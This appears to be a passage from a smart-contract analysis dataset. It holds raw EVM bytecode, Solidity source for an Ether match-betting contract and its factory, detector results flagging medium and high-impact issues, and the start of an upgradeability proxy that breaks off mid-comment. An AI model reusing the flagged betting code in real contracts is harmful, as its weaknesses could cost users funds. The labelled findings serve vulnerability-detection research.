11610df957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610e5b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610ea857600080fd5b610ef9826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112c090919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f8c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60006110ce82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546112d990919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008282111515156112ce57fe5b818303905092915050565b600081830190508281101515156112ec57fe5b809050929150505600a165627a7a723058203c1587f021ea95c42a522581da3a57802eb0e13f61210131b965a2b6526b96900029
|
{"success": true, "error": null, "results": {}}
| 6,532 |
0x1860b26155ce3319ace6d1a7ad3a363b58bc97c5
|
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/// @title Contract to bet Ether for on a match of two teams
contract MatchBetting {
using SafeMath for uint256;
//Represents a team, along with betting information
struct Team {
string name;
mapping(address => uint) bettingContribution;
mapping(address => uint) ledgerBettingContribution;
uint totalAmount;
uint totalParticipants;
}
//Represents two teams
Team[2] public teams;
// Flag to show if the match is completed
bool public matchCompleted = false;
// Flag to show if the contract will stop taking bets.
bool public stopMatchBetting = false;
// The minimum amount of ether to bet for the match
uint public minimumBetAmount;
// WinIndex represents the state of the match. 4 shows match not started.
// 4 - Match has not started
// 0 - team[0] has won
// 1 - team[1] has won
// 2 - match is draw
uint public winIndex = 4;
// A helper variable to track match easily on the backend web server
uint matchNumber;
// Owner of the contract
address public owner;
// The jackpot address, to which some of the proceeds goto from the match
address public jackpotAddress;
address[] public betters;
// Only the owner will be allowed to excute the function.
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
//@notice Contructor that is used configure team names, the minimum bet amount, owner, jackpot address
// and match Number
function MatchBetting(string teamA, string teamB, uint _minimumBetAmount, address sender, address _jackpotAddress, uint _matchNumber) public {
Team memory newTeamA = Team({
totalAmount : 0,
name : teamA,
totalParticipants : 0
});
Team memory newTeamB = Team({
totalAmount : 0,
name : teamB,
totalParticipants : 0
});
teams[0] = newTeamA;
teams[1] = newTeamB;
minimumBetAmount = _minimumBetAmount;
owner = sender;
jackpotAddress = _jackpotAddress;
matchNumber = _matchNumber;
}
//@notice Allows a user to place Bet on the match
function placeBet(uint index) public payable {
require(msg.value >= minimumBetAmount);
require(!stopMatchBetting);
require(!matchCompleted);
if(teams[0].bettingContribution[msg.sender] == 0 && teams[1].bettingContribution[msg.sender] == 0) {
betters.push(msg.sender);
}
if (teams[index].bettingContribution[msg.sender] == 0) {
teams[index].totalParticipants = teams[index].totalParticipants.add(1);
}
teams[index].bettingContribution[msg.sender] = teams[index].bettingContribution[msg.sender].add(msg.value);
teams[index].ledgerBettingContribution[msg.sender] = teams[index].ledgerBettingContribution[msg.sender].add(msg.value);
teams[index].totalAmount = teams[index].totalAmount.add(msg.value);
}
//@notice Set the outcome of the match
function setMatchOutcome(uint winnerIndex, string teamName) public onlyOwner {
if (winnerIndex == 0 || winnerIndex == 1) {
//Match is not draw, double check on name and index so that no mistake is made
require(compareStrings(teams[winnerIndex].name, teamName));
uint loosingIndex = (winnerIndex == 0) ? 1 : 0;
// Send Share to jackpot only when Ether are placed on both the teams
if (teams[winnerIndex].totalAmount != 0 && teams[loosingIndex].totalAmount != 0) {
uint jackpotShare = (teams[loosingIndex].totalAmount).div(5);
jackpotAddress.transfer(jackpotShare);
}
}
winIndex = winnerIndex;
matchCompleted = true;
}
//@notice Sets the flag stopMatchBetting to true
function setStopMatchBetting() public onlyOwner{
stopMatchBetting = true;
}
//@notice Allows the user to get ether he placed on his team, if his team won or draw.
function getEther() public {
require(matchCompleted);
if (winIndex == 2) {
uint betOnTeamA = teams[0].bettingContribution[msg.sender];
uint betOnTeamB = teams[1].bettingContribution[msg.sender];
teams[0].bettingContribution[msg.sender] = 0;
teams[1].bettingContribution[msg.sender] = 0;
uint totalBetContribution = betOnTeamA.add(betOnTeamB);
require(totalBetContribution != 0);
msg.sender.transfer(totalBetContribution);
} else {
uint loosingIndex = (winIndex == 0) ? 1 : 0;
// If No Ether were placed on winning Team - Allow claim Ether placed on loosing side.
uint betValue;
if (teams[winIndex].totalAmount == 0) {
betValue = teams[loosingIndex].bettingContribution[msg.sender];
require(betValue != 0);
teams[loosingIndex].bettingContribution[msg.sender] = 0;
msg.sender.transfer(betValue);
} else {
betValue = teams[winIndex].bettingContribution[msg.sender];
require(betValue != 0);
teams[winIndex].bettingContribution[msg.sender] = 0;
uint winTotalAmount = teams[winIndex].totalAmount;
uint loosingTotalAmount = teams[loosingIndex].totalAmount;
if (loosingTotalAmount == 0) {
msg.sender.transfer(betValue);
} else {
//original Bet + (original bet * 80 % of bet on losing side)/bet on winning side
uint userTotalShare = betValue;
uint bettingShare = betValue.mul(80).div(100).mul(loosingTotalAmount).div(winTotalAmount);
userTotalShare = userTotalShare.add(bettingShare);
msg.sender.transfer(userTotalShare);
}
}
}
}
function getBetters() public view returns (address[]) {
return betters;
}
//@notice get various information about the match and its current state.
function getMatchInfo() public view returns (string, uint, uint, string, uint, uint, uint, bool, uint, uint, bool) {
return (teams[0].name, teams[0].totalAmount, teams[0].totalParticipants, teams[1].name,
teams[1].totalAmount, teams[1].totalParticipants, winIndex, matchCompleted, minimumBetAmount, matchNumber, stopMatchBetting);
}
//@notice Returns users current amount of bet on the match
function userBetContribution(address userAddress) public view returns (uint, uint) {
return (teams[0].bettingContribution[userAddress], teams[1].bettingContribution[userAddress]);
}
//@notice Returns how much a user has bet on the match.
function ledgerUserBetContribution(address userAddress) public view returns (uint, uint) {
return (teams[0].ledgerBettingContribution[userAddress], teams[1].ledgerBettingContribution[userAddress]);
}
//@notice Private function the helps in comparing strings.
function compareStrings(string a, string b) private pure returns (bool){
return keccak256(a) == keccak256(b);
}
}
contract MatchBettingFactory is Ownable {
// Array of all the matches deployed
address[] deployedMatches;
// The address to which some ether is to be transferred
address public jackpotAddress;
//@notice Constructor thats sets up the jackpot address
function MatchBettingFactory(address _jackpotAddress) public{
jackpotAddress = _jackpotAddress;
}
//@notice Creates a match with given team names, minimum bet amount and a match number
function createMatch(string teamA, string teamB, uint _minimumBetAmount, uint _matchNumber) public onlyOwner{
address matchBetting = new MatchBetting(teamA, teamB, _minimumBetAmount, msg.sender, jackpotAddress, _matchNumber);
deployedMatches.push(matchBetting);
}
//@notice get a address of all deployed matches
function getDeployedMatches() public view returns (address[]) {
return deployedMatches;
}
}
|
0x60806040526004361061006d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680636bc0b3ba146100725780638da5cb5b146100c9578063935146d0146101205780639666cbfa146101e3578063f2fde38b1461024f575b600080fd5b34801561007e57600080fd5b50610087610292565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156100d557600080fd5b506100de6102b8565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561012c57600080fd5b506101e1600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929080359060200190929190803590602001909291905050506102dd565b005b3480156101ef57600080fd5b506101f8610545565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561023b578082015181840152602081019050610220565b505050509050019250505060405180910390f35b34801561025b57600080fd5b50610290600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506105d3565b005b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561033a57600080fd5b84848433600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168661036a610728565b8080602001806020018781526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001848152602001838103835289818151815260200191508051906020019080838360005b8381101561041b578082015181840152602081019050610400565b50505050905090810190601f1680156104485780820380516001836020036101000a031916815260200191505b50838103825288818151815260200191508051906020019080838360005b83811015610481578082015181840152602081019050610466565b50505050905090810190601f1680156104ae5780820380516001836020036101000a031916815260200191505b5098505050505050505050604051809103906000f0801580156104d5573d6000803e3d6000fd5b50905060018190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050505050565b606060018054806020026020016040519081016040528092919081815260200182805480156105c957602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001906001019080831161057f575b5050505050905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561062e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561066a57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b604051611c9c8061073983390190560060806040526000600a60006101000a81548160ff0219169083151502179055506000600a60016101000a81548160ff0219169083151502179055506004600c553480156200004c57600080fd5b5060405162001c9c38038062001c9c833981018060405281019080805182019291906020018051820192919060200180519060200190929190805190602001909291908051906020019092919080519060200190929190505050620000b06200022f565b620000ba6200022f565b60606040519081016040528089815260200160008152602001600081525091506060604051908101604052808881526020016000815260200160008152509050816000806002811015156200010b57fe5b6005020160008201518160000190805190602001906200012d92919062000251565b50602082015181600301556040820151816004015590505080600060016002811015156200015757fe5b6005020160008201518160000190805190602001906200017992919062000251565b50602082015181600301556040820151816004015590505085600b8190555084600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082600d81905550505050505050505062000300565b6060604051908101604052806060815260200160008152602001600081525090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106200029457805160ff1916838001178555620002c5565b82800160010185558215620002c5579182015b82811115620002c4578251825591602001919060010190620002a7565b5b509050620002d49190620002d8565b5090565b620002fd91905b80821115620002f9576000816000905550600101620002df565b5090565b90565b61198c80620003106000396000f3006080604052600436106100e6576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063063c67c2146100eb5780630a46572f1461022e57806310fe7c481461025957806315072b33146102795780633ed2b77a146102a85780636bc0b3ba1461035c57806376753b04146103b357806378e9f1ba146104115780638da5cb5b1461043c5780639fda5d6214610493578063ab8df6c714610500578063ad188be01461052f578063de0ff7c51461058d578063e0a49f14146105a4578063f8065ed614610617578063fbf9dab71461062e575b600080fd5b3480156100f757600080fd5b5061010061069a565b60405180806020018c81526020018b8152602001806020018a8152602001898152602001888152602001871515151581526020018681526020018581526020018415151515815260200183810383528e818151815260200191508051906020019080838360005b83811015610182578082015181840152602081019050610167565b50505050905090810190601f1680156101af5780820380516001836020036101000a031916815260200191505b5083810382528b818151815260200191508051906020019080838360005b838110156101e85780820151818401526020810190506101cd565b50505050905090810190601f1680156102155780820380516001836020036101000a031916815260200191505b509d505050505050505050505050505060405180910390f35b34801561023a57600080fd5b506102436108bb565b6040518082815260200191505060405180910390f35b610277600480360381019080803590602001909291905050506108c1565b005b34801561028557600080fd5b5061028e610c8c565b604051808215151515815260200191505060405180910390f35b3480156102b457600080fd5b506102d360048036038101908080359060200190929190505050610c9f565b6040518080602001848152602001838152602001828103825285818151815260200191508051906020019080838360005b8381101561031f578082015181840152602081019050610304565b50505050905090810190601f16801561034c5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34801561036857600080fd5b50610371610d66565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103bf57600080fd5b506103f4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d8c565b604051808381526020018281526020019250505060405180910390f35b34801561041d57600080fd5b50610426610e41565b6040518082815260200191505060405180910390f35b34801561044857600080fd5b50610451610e47565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561049f57600080fd5b506104be60048036038101908080359060200190929190505050610e6d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561050c57600080fd5b50610515610eab565b604051808215151515815260200191505060405180910390f35b34801561053b57600080fd5b50610570600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ebe565b604051808381526020018281526020019250505060405180910390f35b34801561059957600080fd5b506105a2610f73565b005b3480156105b057600080fd5b5061061560048036038101908080359060200190929190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506114bf565b005b34801561062357600080fd5b5061062c61170c565b005b34801561063a57600080fd5b50610643611785565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561068657808201518184015260208101905061066b565b505050509050019250505060405180910390f35b6060600080606060008060008060008060008060006002811015156106bb57fe5b600502016000016000806002811015156106d157fe5b60050201600301546000806002811015156106e857fe5b60050201600401546000600160028110151561070057fe5b600502016000016000600160028110151561071757fe5b60050201600301546000600160028110151561072f57fe5b6005020160040154600c54600a60009054906101000a900460ff16600b54600d54600a60019054906101000a900460ff168a8054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107f55780601f106107ca576101008083540402835291602001916107f5565b820191906000526020600020905b8154815290600101906020018083116107d857829003601f168201915b50505050509a50878054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108915780601f1061086657610100808354040283529160200191610891565b820191906000526020600020905b81548152906001019060200180831161087457829003601f168201915b505050505097509a509a509a509a509a509a509a509a509a509a509a50909192939495969798999a565b600c5481565b600b5434101515156108d257600080fd5b600a60019054906101000a900460ff161515156108ee57600080fd5b600a60009054906101000a900460ff1615151561090a57600080fd5b600080600060028110151561091b57fe5b6005020160010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480156109c05750600080600160028110151561097957fe5b6005020160010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b15610a2c5760103390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b60008082600281101515610a3c57fe5b6005020160010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610acc57610ab16001600083600281101515610a9b57fe5b600502016004015461181390919063ffffffff16565b600082600281101515610ac057fe5b60050201600401819055505b610b3234600083600281101515610adf57fe5b6005020160010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181390919063ffffffff16565b600082600281101515610b4157fe5b6005020160010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bef34600083600281101515610b9c57fe5b6005020160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461181390919063ffffffff16565b600082600281101515610bfe57fe5b6005020160020160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c6f34600083600281101515610c5957fe5b600502016003015461181390919063ffffffff16565b600082600281101515610c7e57fe5b600502016003018190555050565b600a60009054906101000a900460ff1681565b600081600281101515610cae57fe5b60050201600091509050806000018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610d505780601f10610d2557610100808354040283529160200191610d50565b820191906000526020600020905b815481529060010190602001808311610d3357829003601f168201915b5050505050908060030154908060040154905083565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600080600281101515610d9e57fe5b6005020160020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460006001600281101515610df357fe5b6005020160020160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491509150915091565b600b5481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601081815481101515610e7c57fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60019054906101000a900460ff1681565b600080600080600281101515610ed057fe5b6005020160010160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205460006001600281101515610f2557fe5b6005020160010160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491509150915091565b6000806000806000806000806000600a60009054906101000a900460ff161515610f9c57600080fd5b6002600c54141561117757600080600281101515610fb657fe5b6005020160010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205498506000600160028110151561100d57fe5b6005020160010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549750600080600060028110151561106557fe5b6005020160010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008060016002811015156110be57fe5b6005020160010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611119888a61181390919063ffffffff16565b96506000871415151561112b57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc889081150290604051600060405180830381858888f19350505050158015611171573d6000803e3d6000fd5b506114b4565b6000600c541461118857600061118b565b60015b60ff169550600080600c546002811015156111a257fe5b600502016003015414156112ba576000866002811015156111bf57fe5b6005020160010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205494506000851415151561121657600080fd5b6000808760028110151561122657fe5b6005020160010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501580156112b4573d6000803e3d6000fd5b506114b3565b6000600c546002811015156112cb57fe5b6005020160010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205494506000851415151561132257600080fd5b600080600c5460028110151561133457fe5b6005020160010160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600c5460028110151561138d57fe5b600502016003015493506000866002811015156113a657fe5b600502016003015492506000831415611405573373ffffffffffffffffffffffffffffffffffffffff166108fc869081150290604051600060405180830381858888f193505050501580156113ff573d6000803e3d6000fd5b506114b2565b8491506114538461144585611437606461142960508c61183190919063ffffffff16565b61186c90919063ffffffff16565b61183190919063ffffffff16565b61186c90919063ffffffff16565b9050611468818361181390919063ffffffff16565b91503373ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156114b0573d6000803e3d6000fd5b505b5b5b505050505050505050565b600080600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561151e57600080fd5b600084148061152d5750600184145b156116e4576115ea60008560028110151561154457fe5b600502016000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115df5780601f106115b4576101008083540402835291602001916115df565b820191906000526020600020905b8154815290600101906020018083116115c257829003601f168201915b505050505084611887565b15156115f557600080fd5b60008414611604576000611607565b60015b60ff1691506000808560028110151561161c57fe5b60050201600301541415801561164857506000808360028110151561163d57fe5b600502016003015414155b156116e357611677600560008460028110151561166157fe5b600502016003015461186c90919063ffffffff16565b9050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156116e1573d6000803e3d6000fd5b505b5b83600c819055506001600a60006101000a81548160ff02191690831515021790555050505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561176857600080fd5b6001600a60016101000a81548160ff021916908315150217905550565b6060601080548060200260200160405190810160405280929190818152602001828054801561180957602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190600101908083116117bf575b5050505050905090565b600080828401905083811015151561182757fe5b8091505092915050565b60008060008414156118465760009150611865565b828402905082848281151561185757fe5b0414151561186157fe5b8091505b5092915050565b600080828481151561187a57fe5b0490508091505092915050565b6000816040518082805190602001908083835b6020831015156118bf578051825260208201915060208101905060208303925061189a565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916836040518082805190602001908083835b6020831015156119265780518252602082019150602081019050602083039250611901565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060001916149050929150505600a165627a7a723058200d102e410d79ccaca2cd77f436f1148d284ccbb5a34743f10ed2c89cf043f1790029a165627a7a72305820dabf70a444db0572dd3ed06d2bed9255cec91849e07b359d441bc10aa25655ee0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 6,533 |
0x2b5455aac8d64c14786c3a29858e43b5945819c0
|
/**
*Submitted for verification at Etherscan.io on 2021-05-17
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
